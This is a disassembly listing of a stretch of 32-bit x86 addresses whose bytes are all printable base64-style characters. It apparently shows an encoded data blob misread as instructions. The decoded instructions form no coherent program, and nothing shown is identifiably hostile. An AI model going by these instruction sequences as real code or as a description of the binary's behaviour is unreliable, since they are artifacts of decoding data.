40bd87:	4a                   	dec    %edx
40bd88:	64 51                	fs push %ecx
40bd8a:	2b 65 6b             	sub    0x6b(%ebp),%esp
40bd8d:	72 78                	jb     0x40be07
40bd8f:	6f                   	outsl  %ds:(%esi),(%dx)
40bd90:	71 6e                	jno    0x40be00
40bd92:	6d                   	insl   (%dx),%es:(%edi)
40bd93:	43                   	inc    %ebx
40bd94:	62 44 6c 50          	bound  %eax,0x50(%esp,%ebp,2)
40bd98:	59                   	pop    %ecx
40bd99:	48                   	dec    %eax
40bd9a:	71 59                	jno    0x40bdf5
40bd9c:	56                   	push   %esi
40bd9d:	77 4f                	ja     0x40bdee
40bd9f:	47                   	inc    %edi
40bda0:	58                   	pop    %eax
40bda1:	6c                   	insb   (%dx),%es:(%edi)
40bda2:	64 7a 31             	fs jp  0x40bdd6
40bda5:	6e                   	outsb  %ds:(%esi),(%dx)
40bda6:	41                   	inc    %ecx
40bda7:	30 72 56             	xor    %dh,0x56(%edx)
40bdaa:	74 66                	je     0x40be12
40bdac:	37                   	aaa
40bdad:	58                   	pop    %eax
40bdae:	63 65 33             	arpl   %esp,0x33(%ebp)
40bdb1:	30 6d 62             	xor    %ch,0x62(%ebp)
40bdb4:	77 52                	ja     0x40be08
40bdb6:	50                   	push   %eax
40bdb7:	50                   	push   %eax
40bdb8:	35 33 70 56 6f       	xor    $0x6f567033,%eax
40bdbd:	72 47                	jb     0x40be06
40bdbf:	36 55                	ss push %ebp
40bdc1:	52                   	push   %edx
40bdc2:	63 74 55 2f          	arpl   %esi,0x2f(%ebp,%edx,2)
40bdc6:	36 71 61             	ss jno 0x40be2a
40bdc9:	44                   	inc    %esp
40bdca:	39 6a 7a             	cmp    %ebp,0x7a(%edx)
40bdcd:	56                   	push   %esi
40bdce:	56                   	push   %esi
40bdcf:	69 42 76 2f 46 77 65 	imul   $0x6577462f,0x76(%edx),%eax
40bdd6:	4d                   	dec    %ebp
40bdd7:	5a                   	pop    %edx
40bdd8:	75 43                	jne    0x40be1d
40bdda:	38 52 6e             	cmp    %dl,0x6e(%edx)
40bddd:	33 33                	xor    (%ebx),%esi
40bddf:	79 52                	jns    0x40be33
40bde1:	68 78 69 31 65       	push   $0x65316978
40bde6:	75 44                	jne    0x40be2c
40bde8:	48                   	dec    %eax
40bde9:	4d                   	dec    %ebp
40bdea:	47                   	inc    %edi
40bdeb:	57                   	push   %edi
40bdec:	70 76                	jo     0x40be64
40bdee:	4c                   	dec    %esp
40bdef:	72 7a                	jb     0x40be6b
40bdf1:	33 41 38             	xor    0x38(%ecx),%eax
40bdf4:	77 4b                	ja     0x40be41
40bdf6:	31 34 50             	xor    %esi,(%eax,%edx,2)
40bdf9:	44                   	inc    %esp
40bdfa:	65 46                	gs inc %esi
40bdfc:	43                   	inc    %ebx
40bdfd:	52                   	push   %edx
40bdfe:	6a 45                	push   $0x45
40be00:	67 33 4d 7a          	xor    0x7a(%di),%ecx
40be04:	34 55                	xor    $0x55,%al
40be06:	76 54                	jbe    0x40be5c
40be08:	4d                   	dec    %ebp
40be09:	61                   	popa
40be0a:	56                   	push   %esi
40be0b:	52                   	push   %edx
40be0c:	53                   	push   %ebx
40be0d:	50                   	push   %eax
40be0e:	36 50                	ss push %eax
40be10:	45                   	inc    %ebp
40be11:	4e                   	dec    %esi
40be12:	2b 6f 35             	sub    0x35(%edi),%ebp
40be15:	76 30                	jbe    0x40be47
40be17:	72 69                	jb     0x40be82
40be19:	46                   	inc    %esi
40be1a:	48                   	dec    %eax
40be1b:	50                   	push   %eax
40be1c:	41                   	inc    %ecx
40be1d:	70 2f                	jo     0x40be4e
40be1f:	36 48                	ss dec %eax
40be21:	34 4b                	xor    $0x4b,%al
40be23:	57                   	push   %edi
40be24:	55                   	push   %ebp
40be25:	44                   	inc    %esp
40be26:	5a                   	pop    %edx
40be27:	30 66 75             	xor    %ah,0x75(%esi)
40be2a:	6b 44 5a 61 62       	imul   $0x62,0x61(%edx,%ebx,2),%eax
40be2f:	41                   	inc    %ecx
40be30:	67 41                	addr16 inc %ecx
40be32:	71 61                	jno    0x40be95
40be34:	49                   	dec    %ecx
40be35:	55                   	push   %ebp
40be36:	63 59 2f             	arpl   %ebx,0x2f(%ecx)
40be39:	39 41 34             	cmp    %eax,0x34(%ecx)
40be3c:	73 6a                	jae    0x40bea8
40be3e:	63 6a 43             	arpl   %ebp,0x43(%edx)
40be41:	5a                   	pop    %edx
40be42:	77 57                	ja     0x40be9b
40be44:	64 67 6d             	fs insl (%dx),%es:(%di)
40be47:	39 32                	cmp    %esi,(%edx)
40be49:	69 4a 79 39 33 48 48 	imul   $0x48483339,0x79(%edx),%ecx
40be50:	6b 43 49 58          	imul   $0x58,0x49(%ebx),%eax
40be54:	74 50                	je     0x40bea6
40be56:	6c                   	insb   (%dx),%es:(%edi)
40be57:	45                   	inc    %ebp
40be58:	55                   	push   %ebp
40be59:	61                   	popa
40be5a:	4e                   	dec    %esi
40be5b:	46                   	inc    %esi
40be5c:	62 30                	bound  %esi,(%eax)
40be5e:	50                   	push   %eax
40be5f:	35 5a 6b 52 44       	xor    $0x44526b5a,%eax
40be64:	4b                   	dec    %ebx
40be65:	73 42                	jae    0x40bea9
40be67:	6b 6d 42 75          	imul   $0x75,0x42(%ebp),%ebp
40be6b:	6a 5a                	push   $0x5a
40be6d:	67 49                	addr16 dec %ecx
40be6f:	31 63 30             	xor    %esp,0x30(%ebx)
40be72:	6f                   	outsl  %ds:(%esi),(%dx)
40be73:	51                   	push   %ecx
40be74:	44                   	inc    %esp
40be75:	35 2f 73 6e 63       	xor    $0x636e732f,%eax
40be7a:	7a 4f                	jp     0x40becb
40be7c:	74 41                	je     0x40bebf
40be7e:	37                   	aaa
40be7f:	32 39                	xor    (%ecx),%bh
40be81:	67 44                	addr16 inc %esp
40be83:	4c                   	dec    %esp
40be84:	30 6f 73             	xor    %ch,0x73(%edi)
40be87:	68 76 57 79 32       	push   $0x32795776
40be8c:	4a                   	dec    %edx
40be8d:	4d                   	dec    %ebp
40be8e:	34 75                	xor    $0x75,%al
40be90:	52                   	push   %edx
40be91:	58                   	pop    %eax
40be92:	4f                   	dec    %edi
40be93:	71 68                	jno    0x40befd
40be95:	42                   	inc    %edx
40be96:	56                   	push   %esi
40be97:	2f                   	das
40be98:	30 4c 70 4e          	xor    %cl,0x4e(%eax,%esi,2)
40be9c:	77 31                	ja     0x40becf
40be9e:	50                   	push   %eax
40be9f:	4e                   	dec    %esi
40bea0:	69 70 2b 6c 6d 43 53 	imul   $0x53436d6c,0x2b(%eax),%esi
40bea7:	64 51                	fs push %ecx
40bea9:	78 6e                	js     0x40bf19
40beab:	61                   	popa
40beac:	69 65 2f 6c 58 4a 67 	imul   $0x674a586c,0x2f(%ebp),%esp
40beb3:	4b                   	dec    %ebx
40beb4:	41                   	inc    %ecx
40beb5:	2f                   	das
40beb6:	6c                   	insb   (%dx),%es:(%edi)
40beb7:	59                   	pop    %ecx
40beb8:	37                   	aaa
40beb9:	39 73 5a             	cmp    %esi,0x5a(%ebx)
40bebc:	70 63                	jo     0x40bf21
40bebe:	77 45                	ja     0x40bf05
40bec0:	78 6c                	js     0x40bf2e
40bec2:	51                   	push   %ecx
40bec3:	4d                   	dec    %ebp
40bec4:	41                   	inc    %ecx
40bec5:	74 71                	je     0x40bf38
40bec7:	63 65 38             	arpl   %esp,0x38(%ebp)
40beca:	77 79                	ja     0x40bf45
40becc:	47                   	inc    %edi
40becd:	41                   	inc    %ecx
40bece:	77 67                	ja     0x40bf37
40bed0:	6e                   	outsb  %ds:(%esi),(%dx)
40bed1:	6d                   	insl   (%dx),%es:(%edi)
40bed2:	74 73                	je     0x40bf47
40bed4:	74 4f                	je     0x40bf25
40bed6:	6d                   	insl   (%dx),%es:(%edi)
40bed7:	6c                   	insb   (%dx),%es:(%edi)
40bed8:	49                   	dec    %ecx
40bed9:	48                   	dec    %eax
40beda:	72 4e                	jb     0x40bf2a
40bedc:	48                   	dec    %eax
40bedd:	44                   	inc    %esp
40bede:	39 67 7a             	cmp    %esp,0x7a(%edi)
40bee1:	4b                   	dec    %ebx
40bee2:	58                   	pop    %eax
40bee3:	6f                   	outsl  %ds:(%esi),(%dx)
40bee4:	36 66 52             	ss push %dx
40bee7:	65 2f                	gs das
40bee9:	30 58 75             	xor    %bl,0x75(%eax)
40beec:	67 64 55             	addr16 fs push %ebp
40beef:	49                   	dec    %ecx
40bef0:	6a 72                	push   $0x72
40bef2:	72 32                	jb     0x40bf26
40bef4:	45                   	inc    %ebp
40bef5:	75 4c                	jne    0x40bf43
40bef7:	44                   	inc    %esp
40bef8:	4b                   	dec    %ebx
40bef9:	32 36                	xor    (%esi),%dh
40befb:	2f                   	das
40befc:	44                   	inc    %esp
40befd:	4e                   	dec    %esi
40befe:	58                   	pop    %eax
40beff:	5a                   	pop    %edx
40bf00:	39 6d 76             	cmp    %ebp,0x76(%ebp)
40bf03:	62 48 36             	bound  %ecx,0x36(%eax)
40bf06:	71 48                	jno    0x40bf50
40bf08:	69 4c 4d 46 4b 41 35 	imul   $0x4135414b,0x46(%ebp,%ecx,2),%ecx
40bf0f:	41
40bf10:	30 50 4f             	xor    %dl,0x4f(%eax)
40bf13:	4c                   	dec    %esp
40bf14:	66 63 64 61 39       	arpl   %sp,0x39(%ecx,%eiz,2)
40bf19:	7a 49                	jp     0x40bf64
40bf1b:	69 36 31 59 48 37    	imul   $0x37485931,(%esi),%esi
40bf21:	43                   	inc    %ebx
40bf22:	51                   	push   %ecx
40bf23:	4c                   	dec    %esp
40bf24:	31 4b 4e             	xor    %ecx,0x4e(%ebx)
40bf27:	76 2b                	jbe    0x40bf54
40bf29:	65 58                	gs pop %eax
40bf2b:	54                   	push   %esp
40bf2c:	55                   	push   %ebp
40bf2d:	75 6d                	jne    0x40bf9c
40bf2f:	45                   	inc    %ebp
40bf30:	43                   	inc    %ebx
40bf31:	75 77                	jne    0x40bfaa
40bf33:	71 66                	jno    0x40bf9b
40bf35:	46                   	inc    %esi
40bf36:	47                   	inc    %edi
40bf37:	53                   	push   %ebx
40bf38:	79 61                	jns    0x40bf9b
40bf3a:	37                   	aaa
40bf3b:	58                   	pop    %eax
40bf3c:	4a                   	dec    %edx
40bf3d:	76 4e                	jbe    0x40bf8d
40bf3f:	45                   	inc    %ebp
40bf40:	4c                   	dec    %esp
40bf41:	4d                   	dec    %ebp
40bf42:	62 75 5a             	bound  %esi,0x5a(%ebp)
40bf45:	4c                   	dec    %esp
40bf46:	6e                   	outsb  %ds:(%esi),(%dx)
40bf47:	4b                   	dec    %ebx
40bf48:	52                   	push   %edx
40bf49:	5a                   	pop    %edx
40bf4a:	6b 67 47 41          	imul   $0x41,0x47(%edi),%esp
40bf4e:	47                   	inc    %edi
40bf4f:	6b 32 76             	imul   $0x76,(%edx),%esi
40bf52:	67 65 6c             	gs insb (%dx),%es:(%di)
40bf55:	34 5a                	xor    $0x5a,%al
40bf57:	68 6f 33 52 78       	push   $0x7852336f
40bf5c:	6c                   	insb   (%dx),%es:(%edi)
40bf5d:	46                   	inc    %esi
40bf5e:	6d                   	insl   (%dx),%es:(%edi)
40bf5f:	48                   	dec    %eax
40bf60:	6c                   	insb   (%dx),%es:(%edi)
40bf61:	35 38 38 6b 52       	xor    $0x526b3838,%eax
40bf66:	76 78                	jbe    0x40bfe0
40bf68:	77 38                	ja     0x40bfa2
40bf6a:	4f                   	dec    %edi
40bf6b:	74 6a                	je     0x40bfd7
40bf6d:	68 4d 4a 72 4b       	push   $0x4b724a4d
40bf72:	47                   	inc    %edi
40bf73:	66 36 6c             	data16 ss insb (%dx),%es:(%edi)
40bf76:	56                   	push   %esi
40bf77:	35 67 6c 75 53       	xor    $0x53756c67,%eax
40bf7c:	51                   	push   %ecx
40bf7d:	48                   	dec    %eax
40bf7e:	49                   	dec    %ecx
40bf7f:	66 58                	pop    %ax
40bf81:	39 4c 51 50          	cmp    %ecx,0x50(%ecx,%edx,2)
40bf85:	41                   	inc    %ecx
40bf86:	75 6d                	jne    0x40bff5
40bf88:	62 38                	bound  %edi,(%eax)
40bf8a:	79 34                	jns    0x40bfc0
40bf8c:	38 55 6e             	cmp    %dl,0x6e(%ebp)
40bf8f:	6f                   	outsl  %ds:(%esi),(%dx)
40bf90:	72 58                	jb     0x40bfea
40bf92:	5a                   	pop    %edx
40bf93:	35 72 6e 74 46       	xor    $0x46746e72,%eax
40bf98:	65 6e                	outsb  %gs:(%esi),(%dx)
40bf9a:	74 58                	je     0x40bff4
40bf9c:	63 67 76             	arpl   %esp,0x76(%edi)
40bf9f:	71 6f                	jno    0x40c010
40bfa1:	68 32 4a 34 32       	push   $0x32344a32
40bfa6:	46                   	inc    %esi
40bfa7:	57                   	push   %edi
40bfa8:	59                   	pop    %ecx
40bfa9:	2b 38                	sub    (%eax),%edi
40bfab:	4d                   	dec    %ebp
40bfac:	59                   	pop    %ecx
40bfad:	6d                   	insl   (%dx),%es:(%edi)
40bfae:	41                   	inc    %ecx
40bfaf:	2f                   	das
40bfb0:	44                   	inc    %esp
40bfb1:	35 50 79 61 71       	xor    $0x71617950,%eax
40bfb6:	52                   	push   %edx
40bfb7:	76 79                	jbe    0x40c032
40bfb9:	72 61                	jb     0x40c01c
40bfbb:	37                   	aaa
40bfbc:	41                   	inc    %ecx
40bfbd:	69 43 6d 35 42 34 52 	imul   $0x52344235,0x6d(%ebx),%eax
40bfc4:	37                   	aaa
40bfc5:	4e                   	dec    %esi
40bfc6:	77 41                	ja     0x40c009
40bfc8:	59                   	pop    %ecx
40bfc9:	57                   	push   %edi
40bfca:	62 51 4a             	bound  %edx,0x4a(%ecx)
40bfcd:	38 34 30             	cmp    %dh,(%eax,%esi,1)
40bfd0:	2b 72 45             	sub    0x45(%edx),%esi
40bfd3:	4a                   	dec    %edx
40bfd4:	52                   	push   %edx
40bfd5:	46                   	inc    %esi
40bfd6:	59                   	pop    %ecx
40bfd7:	63 69 66             	arpl   %ebp,0x66(%ecx)
40bfda:	50                   	push   %eax
40bfdb:	58                   	pop    %eax
40bfdc:	58                   	pop    %eax
40bfdd:	38 6f 61             	cmp    %ch,0x61(%edi)
40bfe0:	48                   	dec    %eax
40bfe1:	30 74 4a 6a          	xor    %dh,0x6a(%edx,%ecx,2)
40bfe5:	33 66 78             	xor    0x78(%esi),%esp
40bfe8:	58                   	pop    %eax
40bfe9:	36 38 72 78          	cmp    %dh,%ss:0x78(%edx)
40bfed:	49                   	dec    %ecx
40bfee:	2f                   	das
40bfef:	53                   	push   %ebx
40bff0:	45                   	inc    %ebp
40bff1:	4d                   	dec    %ebp
40bff2:	33 34 38             	xor    (%eax,%edi,1),%esi
40bff5:	68 6b 41 62 57       	push   $0x5762416b
40bffa:	51                   	push   %ecx
40bffb:	48                   	dec    %eax
40bffc:	47                   	inc    %edi
40bffd:	39 57 61             	cmp    %edx,0x61(%edi)
40c000:	68 4a 4b 53 7a       	push   $0x7a534b4a
40c005:	4a                   	dec    %edx
40c006:	2b 58 5a             	sub    0x5a(%eax),%ebx
40c009:	4e                   	dec    %esi
40c00a:	36 2f                	ss das
40c00c:	63 53 49             	arpl   %edx,0x49(%ebx)
40c00f:	39 77 38             	cmp    %esi,0x38(%edi)
40c012:	64 4f                	fs dec %edi
40c014:	44                   	inc    %esp
40c015:	63 4f 64             	arpl   %ecx,0x64(%edi)
40c018:	68 59 4f 74 72       	push   $0x72744f59
40c01d:	70 7a                	jo     0x40c099
40c01f:	46                   	inc    %esi
40c020:	6a 34                	push   $0x34
40c022:	53                   	push   %ebx
40c023:	4e                   	dec    %esi